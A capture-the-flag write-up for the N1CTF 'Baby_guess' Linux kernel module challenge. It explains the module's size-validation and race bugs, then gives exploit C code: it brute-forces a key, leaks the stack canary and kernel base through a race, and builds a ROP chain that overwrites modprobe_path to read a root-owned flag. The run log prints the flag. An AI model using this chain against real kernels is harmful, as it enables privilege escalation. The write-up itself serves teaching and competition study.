Baby_guess

Attachment: babyguess.zip xpl.py pwn.c

Team: Super Guesser

Baby_guess was a kernel module, which provided a simple xor encryption and “guessing” function in the kernel.

The module registered a socket, with which we could communicate with it. The socket had two custom functions, which can be triggered via ioctl and setsockopts.

Analysis

Decompilation from ida and ghidra looked quite awkward and used a lot of local variables, which made it a bit hard to spot the bug.

So, here’s some stripped pseudo code to make it more obvious.

ioctl

struct Request {
    unsigned long sub_command;
    unsigned long buffer_size;
    char *buffer;
};

unsigned long ioctl(int fd, unsigned long cmd, Request* req)
{
    size_t validated_size;    
    Request k_req;
    char k_buffer[256];
    unsigned long canary;

    if ( cmd == 0x13371001 )
        return set_device_size(req);

    if ( cmd == 0x13371002 ) {                  
        memset(k_buffer, 0, sizeof(k_buffer));
          
        if ( copy_from_user(&k_req, req, 24) )
            return -1;

        // compare user input with encrypted device buffer
        if ( k_req.sub_command == 0x1337 ) {
            validated_size = k_req.buffer_size;
                        
            if ( k_req.buffer_size > 0x100 )
                validated_size = 256;
        
            // copy_from_user uses validated size            
            if ( copy_from_user(k_buffer, k_req.buffer, validated_size) )
                return -1;
            
            // memcmp uses original (unchecked) size
            if ( !memcmp(dev_info.buffer, k_buffer, k_req.buffer_size) )
                return k_req.buffer_size;
        }
        // compare user input with magic key
        else if ( k_req.subcmd == 0x1338 ) {
            validated_size = k_req.buffer_size;

            if ( k_req.buffer_size > 256 )
                validated_size = 256;
                    
            // copy_from_user uses original (unchecked) size
            if ( copy_from_user(k_buffer, k_req.buffer, k_req.buffer_size) )
                return -1;
        
            // memcmp uses validated size
            if ( !memcmp(magic_key, k_buffer, validated_size) )
                return validated_size;
        }
        return 0;
    }
    return -1;
}

With the comments, it should be quite easy to see.

Leaking via compare

Option 0x1337, which is used to compare our input buffer with the encrypted device buffer, verifies that the size of our input buffer is not bigger than 0x100 bytes. But it uses the validated size only for copying our buffer to kernel memory. When doing memcmp to compare our buffer with the device buffer it uses the original size from our request.

By this, we will be able to leak data behind k_buffer by setting size to 0x101 and then repeat the requests over and over, while forging an encrypted device buffer, which contains a “compare” byte at offset 0x101. We can then check, if the compare was successful. This way we can guess/bruteforce the kernel stack guard, module address and kernel address. Forging the encrypted buffer will be a bit tricky, since we normally can only put 0x100 bytes into it, but let’s get back to this later.

Kernel stack overflow

Option 0x1338 has a similar bug, though this time it’s “the other way round”. copy_from_user will use the original unvalidated size, while memcmp uses the validated one.

This enables us to do an easy stack overflow. We just need to get some leaks first, so we know the kernel stack guard and have some useful gadgets to create a rop chain.

Set device buffer size

unsigned long set_dev_info_size(unsigned long size)
{
  unsigned long old_size;

  old_size = dev_info.size;
  dev_info.size = size;

  if ( size > 0x100 )
  {
    printk(&MSG_NO_OVERFLOW);

    dev_info.size = old_size;
  }
  return 0;
}

This function will set the size for the encryption method. Though it will check, that the size must not be bigger than 0x100. But since there are no locks, and it stores the size in dev_info.size at the beginning, then does the check, print a kernel message and sets it back, this will be easily raceable!

setsockopts

The module also had a custom setsockopts function, with which we can encrypt our user input into the device buffer.

unsigned long setsockopts(int sockfd, int level, int optname, unsigned long, unsigned long optlen)
{  
  if ( optname == 0xDEADBEEF )
    return (unsigned int)encrypt(optval);
  if ( optname == 0x13371337 )
    return 0x1337;

  return 0;
}

unsigned long encrypt_buffer(char* user_buffer)
{  
  unsigned long dev_size = dev_info.size;
    
  if ( copy_from_user(dev_info.buffer, user_buffer, dev_size) )
    return 0xFFFFFFFFFFFFFFEA;

  for (int i = 0; i <= 0xFF; ++i )
    dev_info.buffer[i] ^= magic_key[i];

  return dev_size;
}

With optname as 0xdeadbeef we can trigger the encryption function, which will use the size from dev_info.size to copy our buffer into the device buffer.

As mentioned above, setting dev_info.size can be race. We can just start a thread, which will call set_dev_info_size(0x1000) over and over again and the chance that encrypt_buffer will use our invalid dev_info.size is very high.

This, combined with option 0x1337 from ioctl can then be used to retrieve kernel leaks from the stack.

So, let’s start with the exploit itself.

Leak magic key

For using the compare method to leak stack values, we need to exactly control what’s stored in the encrypted device buffer. For this, we first need to know the magic key, which is initialized with 256 random bytes at module initialization.

But we can get this easily via the compare option 0x1338 by just comparing the first byte for range 0x0 - 0x255 and then increase the size, until we have “guessed” the complete key.

#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#define MAGIC_FAM 0xf

#define SET_SIZE 0x13371001
#define COMPARE 0x13371002

int fd;
char payload[0x1000];
char magic_key[256];

struct Request {
    unsigned long sub_command;
    unsigned long buffer_size;
    char *buffer;
};

unsigned long send_compare_req(int fd, unsigned long sub_command, unsigned long buffer_size, char* buffer) {
    struct Request req = {
        .sub_command = sub_command,
        .buffer_size = buffer_size,
        .buffer = buffer
    };

    return ioctl(fd, COMPARE, &req);
}

void read_magic_key(int fd) {
    for(int i=0; i<256; i++) {
        for(int ch=0; ch<=0xff; ch++) {
            magic_key[i] = (char)ch;

            int res = send_compare_req(fd, 0x1338, i+1, &magic_key);

            if(res>0)
                break;
        }
    }
}

int main() {
    fd = socket(MAGIC_FAM, SOCK_RAW, 0x100);

    printf("[+] Leak magic key\n");
    read_magic_key(fd);

    getchar();

    close(fd);
}

Leak stack guard and kernel addresses

Knowing the magic_key, we can now exactly control what will be stored in the device buffer, so we can now start to forge buffers to guess/bruteforce the stack guard and kernel addresses.

int run_size_overwrite = 1;

void thread_overwrite_size(void *args) {
    // keep overwriting device buffer size with 0x200
    while(run_size_overwrite == 1) {
        ioctl(fd, SET_SIZE, 0x200);        
    }
}

void encrypt_buffer(char *buffer) {
    for(int i=0; i<256; i++)
        buffer[i] ^= magic_key[i];    
}

void leak_kernel(int fd, char *buffer) {
    // create buffer which will be encrypted to 0x0 bytes
    memset(buffer, 0, 0x200);
    encrypt_buffer(buffer);

    // create buffer for comparing to encrypted device buffer
    char comparer[0x200];
    memset(comparer, 0, 0x200);

    for(int i=0; i<0x18; i++) {
        for(int ch=0; ch<0x256; ch++) {
            // set compare byte
            buffer[0x100+i] = (char)ch;
            comparer[0x100+i] = (char)ch;

            // encrypt oversized buffer into device buffer
            int sockres = 0;
            while (sockres != 0x200) {                
                sockres = setsockopt(fd, 0, 0xdeadbeef, buffer, 0x0);
            }

            // send compare request
            int res = send_compare_req(fd, 0x1337, 0x100+i+1, &comparer);

            // check if we found a valid byte
            if (res > 0)
                break;
        }
    }
}

int main() {
    char buffer[0x200];

    fd = socket(MAGIC_FAM, SOCK_RAW, 0x100);

    printf("[+] Leak magic key\n");
    read_magic_key(fd);

    printf("[+] Start size overwrite thread\n");
    pthread_t thread_id;
    pthread_create(&thread_id, NULL, thread_overwrite_size, NULL);

    printf("[+] Leak kernel addresses\n");
    leak_kernel(fd, &buffer);

    run_size_overwrite = 0;
    
    unsigned long canary = *(unsigned long*)(buffer + 0x100);
    unsigned long module = *(unsigned long*)(buffer + 0x108);
    unsigned long kernel = *(unsigned long*)(buffer + 0x110);
    unsigned long kbase = kernel - 0x902b1d;

    printf("CANARY      : %p\n", canary);
    printf("MODULE      : %p\n", module);
    printf("KERNEL      : %p\n", kernel);
    printf("KERNEL BASE : %p\n", kbase);

    getchar();

    close(fd);
}

It’s pretty similar to guessing the magic key, only that we have to overcome the size restriction of 0x100 this time. As mentioned above we can do this by starting a thread, that will set the size of the device buffer to 0x200 over and over again.

When the race is won, the encryption function in setsockopts will copy 0x200 bytes from our buffer into the device buffer (and xor the first 0x100 bytes of it). We can check, if the race was successful, since setsockopt will return 0x200 if so (0x100 if we missed it).

We’ll now just increment the byte at offset 0x100 and call the compare method of the module with size 0x101. As soon as it succeeds, we know, that we guessed a correct byte, increase the offset and continue.

0xffffc9000037fc48:	0x0000000000000000	0x0000000000000000 <= k_buffer
0xffffc9000037fc58:	0x0000000000000000	0x0000000000000000
0xffffc9000037fc68:	0x0000000000000000	0x0000000000000000
0xffffc9000037fc78:	0x0000000000000000	0x0000000000000000
0xffffc9000037fc88:	0x0000000000000000	0x0000000000000000
0xffffc9000037fc98:	0x0000000000000000	0x0000000000000000
0xffffc9000037fca8:	0x0000000000000000	0x0000000000000000
0xffffc9000037fcb8:	0x0000000000000000	0x0000000000000000
0xffffc9000037fcc8:	0x0000000000000000	0x0000000000000000
0xffffc9000037fcd8:	0x0000000000000000	0x0000000000000000
0xffffc9000037fce8:	0x0000000000000000	0x0000000000000000
0xffffc9000037fcf8:	0x0000000000000000	0x0000000000000000
0xffffc9000037fd08:	0x0000000000000000	0x0000000000000000
0xffffc9000037fd18:	0x0000000000000000	0x0000000000000000
0xffffc9000037fd28:	0x0000000000000000	0x0000000000000000
0xffffc9000037fd38:	0x0000000000000000	0x0000000000000000
0xffffc9000037fd48:	0xa51eca922ddb5500	0xffffc9000037fdc0 <= stack guard / module leak
0xffffc9000037fd58:	0xffffffff81902b1d	0x0000000000000002 <= kernel address
0xffffc9000037fd68:	0xffff88801df5b6a0	0xffff88801d1c3e00
0xffffc9000037fd78:	0xffff88801d1c3e10	0x000000000000001a
[+] Leak magic key
[+] Start size overwrite thread
[+] Leak kernel addresses
CANARY      : 0xa51eca922ddb5500
MODULE      : 0xffffc9000037fdc0
KERNEL      : 0xffffffff81902b1d
KERNEL BASE : 0xffffffff81000000

rop to overwrite modprobe_path

With all the needed leaks, we can now get back to option 0x1338 for overflowing kernel stack and trigger a ropchain.

After doing a quick test, to see that modprobe_path exploit would work in this challenge, I just did a simple ropchain for overwriting modprobe_path (and let it crash afterwards…)

system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/c");
system("chmod +x /tmp/c");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

...

// mov qword ptr [rdi], rsi; ret;
unsigned long movrdirsi = kbase + 0x1f50d6;
unsigned long poprdi = kbase + 0x8cbc0;
unsigned long poprsi = kbase + 0x33a7de;
unsigned long modprobe_path = kbase + 0x165ecc0;

unsigned long* ptr = (unsigned long*) (payload+0x100);

(*ptr++) = canary;

ptr = (unsigned long*)(payload+272);

(*ptr++) = poprdi;
(*ptr++) = modprobe_path;
(*ptr++) = poprsi;
(*ptr++) = 0x0000632f706d742f;      // /tmp/c
(*ptr++) = movrdirsi;

// send compare request to trigger stack overflow
send_compare_req(fd, 0x1338, 0x180, &payload);

Obviously the ropchain will crash after it copied /tmp/c to modprobe_path, but it will just kill our exploit process and get us back to the prompt (while modprobe_path will still be overwritten).

From here, we can then trigger modprobe via dummy to copy the flag into tmp and make it readable.

$ python xpl.py 1
[*] Compile
[+] Opening connection to 43.129.169.75 on port 9999: Done
[*] Booting
[+] Upload: Done
[*] Switching to interactive mode
$ ./pwn
[+] Leak magic key
[+] Start size overwrite thread
[+] Leak kernel addresses
CANARY      : 0x11b1f8b6036fee00
MODULE      : 0xffffb770c0377dc0
KERNEL      : 0xffffffffb6502b1d
KERNEL BASE : 0xffffffffb5c00000
[   44.196900] No Overflow
[   44.198653] BUG: kernel NULL pointer dereference, address: 0000000000000000
[   44.200969] #PF: supervisor instruction fetch in kernel mode
[   44.201149] #PF: error_code(0x0010) - not-present page
[   44.201352] PGD 800000001e4ef067 P4D 800000001e4ef067 PUD 1e57f067 PMD 0 
[   44.201714] Oops: 0010 [#1] SMP PTI
[   44.201993] CPU: 5 PID: 181 Comm: pwn Tainted: G           OE     5.4.142 #2
[   44.202194] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[   44.202847] RIP: 0010:0x0
[   44.203128] Code: Bad RIP value.
[   44.203257] RSP: 0018:ffffb770c0377d88 EFLAGS: 00000246
[   44.203441] RAX: 0000000000000000 RBX: 0000000013371002 RCX: 0000000000000000
[   44.203633] RDX: 0000000000000100 RSI: 0000632f706d742f RDI: ffffffffb725ecc0
[   44.203822] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[   44.204012] R10: 0000000000000000 R11: 0000000000000000 R12: 00007ffc5e8ac760

[SNIP]

[   44.220387] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   44.220536] CR2: ffffffffffffffd6 CR3: 000000001cc02000 CR4: 00000000003006e0
Killed

/tmp $ $ ./dummy
./dummy: line 1: \xff\xff\xff\xff: not found
/tmp $ $ ls
c        dummy    flag     pwn      pwn.b64
/tmp $ $ cat flag

n1ctf{69c22bc1-8883-42dd-b830-308affd3aa12}